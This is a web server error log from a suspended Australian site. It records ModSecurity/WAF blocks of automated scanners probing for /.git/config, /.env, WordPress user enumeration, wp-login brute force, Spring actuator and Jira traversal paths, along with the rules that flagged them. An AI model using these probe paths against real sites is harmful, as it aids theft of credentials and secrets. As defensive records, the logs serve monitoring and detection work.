[Wed Nov 12 02:06:00.407832 2025] [:error] [pid 40745:tid 40763] [client 185.61.152.20:50940] [client 185.61.152.20] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "windfarmcoolants.com.au"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aRN7CMdgIR-a_T0XcdAYvwAAAA0"]
[Wed Nov 12 02:06:02.758136 2025] [:error] [pid 40746:tid 40794] [client 66.29.146.91:32938] [client 66.29.146.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aRN7Cp75CjGFTLdEMn74-wAAAFE"]
[Wed Nov 12 02:07:23.453410 2025] [:error] [pid 40745:tid 40757] [client 143.198.13.10:60970] [client 143.198.13.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRN7W8dgIR-a_T0XcdAY_gAAAAc"]
[Wed Nov 12 02:07:25.096228 2025] [:error] [pid 54518:tid 54533] [client 143.198.13.10:39330] [client 143.198.13.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRN7XaZo3QGSqi1oDHk8DQAAAQ0"]
[Wed Nov 12 02:24:52.069566 2025] [:error] [pid 54518:tid 54539] [client 213.165.70.73:59518] [client 213.165.70.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.165.70.73, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRN_dKZo3QGSqi1oDHlEPgAAARM"]
[Wed Nov 12 02:24:52.075845 2025] [:error] [pid 54518:tid 54539] [client 213.165.70.73:59518] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 03:47:28.875577 2025] [:error] [pid 37550:tid 37601] [client 158.220.99.49:39156] [client 158.220.99.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.220.99.49, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aROS0CvFsd1PQUeibBdCSAAAAFQ"]
[Wed Nov 12 03:47:28.881073 2025] [:error] [pid 37550:tid 37601] [client 158.220.99.49:39156] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 04:27:03.382988 2025] [:error] [pid 32959:tid 32985] [client 51.81.107.180:34280] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Wed Nov 12 04:33:01.237399 2025] [:error] [pid 57312:tid 57338] [client 143.198.13.10:55546] [client 143.198.13.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aROdfY0cuHgB17JK5qWlGwAAANU"]
[Wed Nov 12 04:33:03.052232 2025] [:error] [pid 57222:tid 57251] [client 143.198.13.10:49694] [client 143.198.13.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aROdf2GJazH5XCcA91cZRQAAABg"]
[Wed Nov 12 05:10:57.579252 2025] [:error] [pid 57312:tid 57327] [client 207.180.205.210:55132] [client 207.180.205.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.180.205.210, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aROmYY0cuHgB17JK5qWzMgAAAMo"]
[Wed Nov 12 05:10:57.587259 2025] [:error] [pid 57312:tid 57327] [client 207.180.205.210:55132] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 05:42:03.281266 2025] [:error] [pid 32959:tid 32970] [client 185.102.115.31:57652] File does not exist: /usr/local/apache/htdocs/suspended-page/dtex1.php
[Wed Nov 12 06:15:11.952481 2025] [:error] [pid 57223:tid 57258] [client 51.210.113.223:52494] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.113.223, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRO1bxUU8_2aS__aG8ZSvwAAAEE"]
[Wed Nov 12 06:15:11.968205 2025] [:error] [pid 57223:tid 57258] [client 51.210.113.223:52494] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 07:21:05.528133 2025] [:error] [pid 32959:tid 32973] [client 157.245.44.236:42568] [client 157.245.44.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.44.236, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRPE4Xoyrq7OJfcFnDgEVwAAAQo"]
[Wed Nov 12 07:21:05.535191 2025] [:error] [pid 32959:tid 32973] [client 157.245.44.236:42568] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
2025/11/12 08:44:31 [error] 24805#24805: *522 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 110.249.202.243, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2025/11/12 08:46:11 [error] 24792#24792: *1138 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 47.128.22.220, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2025/11/12 08:50:18 [error] 24792#24792: *2128 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 47.128.60.153, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2025/11/12 09:00:02 [error] 24803#24803: *7853 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 173.252.70.1, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
[Wed Nov 12 09:29:08.093004 2025] [:error] [pid 41920:tid 41940] [client 178.62.91.14:60458] [client 178.62.91.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.91.14, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRPi5OXWVOMJCZeU4HGDJwAAANI"]
[Wed Nov 12 09:29:08.101243 2025] [:error] [pid 41920:tid 41940] [client 178.62.91.14:60458] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 09:36:46.380450 2025] [:error] [pid 41920:tid 41928] [client 20.84.7.202:42368] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.84.7.202, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRPkruXWVOMJCZeU4HGHtQAAAMY"]
[Wed Nov 12 09:36:46.387583 2025] [:error] [pid 41920:tid 41928] [client 20.84.7.202:42368] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 10:32:35.983747 2025] [:error] [pid 60095:tid 60120] [client 207.154.250.140:33596] [client 207.154.250.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.154.250.140, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRPxw3lw2elroagFF1qpbAAAAFU"]
[Wed Nov 12 10:32:35.995187 2025] [:error] [pid 60095:tid 60120] [client 207.154.250.140:33596] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 11:15:37.091937 2025] [:error] [pid 60096:tid 60155] [client 45.61.187.69:33084] [client 45.61.187.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.69, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRP72TmzkhCvvk8DXOwdrwAAAJU"], referer: https://duckduckgo.com/
[Wed Nov 12 11:15:37.098183 2025] [:error] [pid 60096:tid 60155] [client 45.61.187.69:33084] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://duckduckgo.com/
[Wed Nov 12 11:40:23.735257 2025] [:error] [pid 60097:tid 60164] [client 188.68.47.60:56260] [client 188.68.47.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.68.47.60, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRQBp8dT5oio_TbWpi_6QAAAAMs"]
[Wed Nov 12 11:40:23.743852 2025] [:error] [pid 60097:tid 60164] [client 188.68.47.60:56260] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 12:48:29.779754 2025] [:error] [pid 60097:tid 60166] [client 176.97.210.188:58848] [client 176.97.210.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.97.210.188, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRQRncdT5oio_TbWpi8RigAAAM0"]
[Wed Nov 12 12:48:29.794002 2025] [:error] [pid 60097:tid 60166] [client 176.97.210.188:58848] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 13:29:26.812984 2025] [:error] [pid 12744:tid 12757] [client 185.102.115.31:51338] File does not exist: /usr/local/apache/htdocs/suspended-page/dtex1.php
[Wed Nov 12 13:31:37.896243 2025] [:error] [pid 12744:tid 12751] [client 146.190.242.161:38924] [client 146.190.242.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v2/api-docs"] [unique_id "aRQbuZ1cp_ouUvkFj0XZNwAAAQM"]
[Wed Nov 12 13:31:38.509485 2025] [:error] [pid 60095:tid 60107] [client 146.190.242.161:38934] [client 146.190.242.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3/api-docs"] [unique_id "aRQbunlw2elroagFF1rkWwAAAEg"]
[Wed Nov 12 13:31:39.122100 2025] [:error] [pid 60180:tid 60199] [client 146.190.242.161:38938] [client 146.190.242.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aRQbu1hgd7ccS8EZg1rkcwAAAVE"]
[Wed Nov 12 13:31:39.735191 2025] [:error] [pid 60095:tid 60099] [client 146.190.242.161:38942] [client 146.190.242.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/swagger.json"] [unique_id "aRQbu3lw2elroagFF1rkXgAAAEA"]
[Wed Nov 12 13:31:40.348987 2025] [:error] [pid 60096:tid 60157] [client 146.190.242.161:38948] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/@vite/env"] [unique_id "aRQbvDmzkhCvvk8DXOxNwQAAAJc"]
[Wed Nov 12 13:31:40.963633 2025] [:error] [pid 60096:tid 60137] [client 146.190.242.161:38952] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/actuator/env"] [unique_id "aRQbvDmzkhCvvk8DXOxNwgAAAIs"]
[Wed Nov 12 13:31:41.577635 2025] [:error] [pid 60096:tid 60133] [client 146.190.242.161:38956] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/server"] [unique_id "aRQbvTmzkhCvvk8DXOxNxgAAAIc"]
[Wed Nov 12 13:31:42.198907 2025] [:error] [pid 12744:tid 12757] [client 146.190.242.161:38962] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aRQbvp1cp_ouUvkFj0XZQAAAAQk"]
[Wed Nov 12 13:31:42.813741 2025] [:error] [pid 60096:tid 60140] [client 146.190.242.161:38966] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/about"] [unique_id "aRQbvjmzkhCvvk8DXOxNxwAAAI0"]
[Wed Nov 12 13:31:43.426697 2025] [:error] [pid 60180:tid 60188] [client 146.190.242.161:38978] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/debug/default/view"] [unique_id "aRQbv1hgd7ccS8EZg1rkfQAAAUY"]
[Wed Nov 12 13:31:44.044672 2025] [:error] [pid 60405:tid 60416] [client 146.190.242.161:38988] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/v2/_catalog"] [unique_id "aRQbwHMGv_mlVi6mf5qccQAAAAg"]
[Wed Nov 12 13:31:44.661210 2025] [:error] [pid 60405:tid 60413] [client 146.190.242.161:40820] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRQbwHMGv_mlVi6mf5qccgAAAAU"]
[Wed Nov 12 13:31:45.274536 2025] [:error] [pid 60097:tid 60164] [client 146.190.242.161:40830] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/server-status"] [unique_id "aRQbwcdT5oio_TbWpi8jUAAAAMs"]
[Wed Nov 12 13:31:45.927562 2025] [:error] [pid 60095:tid 60117] [client 146.190.242.161:40832] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/login.action"] [unique_id "aRQbwXlw2elroagFF1rkZgAAAFI"]
[Wed Nov 12 13:31:46.545568 2025] [:error] [pid 60405:tid 60412] [client 146.190.242.161:40846] [client 146.190.242.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_all_dbs"] [unique_id "aRQbwnMGv_mlVi6mf5qcdgAAAAQ"]
[Wed Nov 12 13:31:47.158360 2025] [:error] [pid 60097:tid 60152] [client 146.190.242.161:40858] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.DS_Store"] [unique_id "aRQbw8dT5oio_TbWpi8jVAAAAMU"]
[Wed Nov 12 13:31:47.772922 2025] [:error] [pid 60097:tid 60150] [client 146.190.242.161:40874] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aRQbw8dT5oio_TbWpi8jVgAAAMQ"]
[Wed Nov 12 13:31:48.390297 2025] [:error] [pid 60095:tid 60120] [client 146.190.242.161:40882] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRQbxHlw2elroagFF1rkZwAAAFU"]
[Wed Nov 12 13:31:49.004460 2025] [:error] [pid 60097:tid 60166] [client 146.190.242.161:40898] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRQbxcdT5oio_TbWpi8jVwAAAM0"]
[Wed Nov 12 13:31:49.623965 2025] [:error] [pid 60096:tid 60134] [client 146.190.242.161:40908] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/config.json"] [unique_id "aRQbxTmzkhCvvk8DXOxN0wAAAIg"]
[Wed Nov 12 13:31:50.237616 2025] [:error] [pid 60097:tid 60172] [client 146.190.242.161:40912] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/telescope/requests"] [unique_id "aRQbxsdT5oio_TbWpi8jWQAAANM"]
[Wed Nov 12 13:31:50.849180 2025] [:error] [pid 60097:tid 60161] [client 146.190.242.161:40924] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aRQbxsdT5oio_TbWpi8jWgAAAMg"]
[Wed Nov 12 13:31:51.461362 2025] [:error] [pid 60180:tid 60184] [client 146.190.242.161:40930] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRQbx1hgd7ccS8EZg1rkiQAAAUI"]
[Wed Nov 12 13:41:54.901486 2025] [:error] [pid 60180:tid 60193] [client 138.197.191.87:56838] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v2/api-docs"] [unique_id "aRQeIlhgd7ccS8EZg1rnUgAAAUs"]
[Wed Nov 12 13:41:55.829788 2025] [:error] [pid 12744:tid 12765] [client 138.197.191.87:56848] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v3/api-docs"] [unique_id "aRQeI51cp_ouUvkFj0XdMgAAARE"]
[Wed Nov 12 13:41:56.618798 2025] [:error] [pid 60180:tid 60195] [client 138.197.191.87:56864] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aRQeJFhgd7ccS8EZg1rnVQAAAU0"]
[Wed Nov 12 13:41:57.477739 2025] [:error] [pid 12744:tid 12762] [client 138.197.191.87:56866] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/api/swagger.json"] [unique_id "aRQeJZ1cp_ouUvkFj0XdNgAAAQ4"]
[Wed Nov 12 13:41:58.243400 2025] [:error] [pid 12744:tid 12771] [client 138.197.191.87:56874] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/@vite/env"] [unique_id "aRQeJp1cp_ouUvkFj0XdOAAAARc"]
[Wed Nov 12 13:41:59.039266 2025] [:error] [pid 12744:tid 12769] [client 138.197.191.87:42096] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/actuator/env"] [unique_id "aRQeJ51cp_ouUvkFj0XdPAAAARU"]
[Wed Nov 12 13:41:59.778492 2025] [:error] [pid 12744:tid 12759] [client 138.197.191.87:42104] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/server"] [unique_id "aRQeJ51cp_ouUvkFj0XdPwAAAQs"]
[Wed Nov 12 13:42:00.514573 2025] [:error] [pid 60096:tid 60155] [client 138.197.191.87:42112] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aRQeKDmzkhCvvk8DXOxQfQAAAJU"]
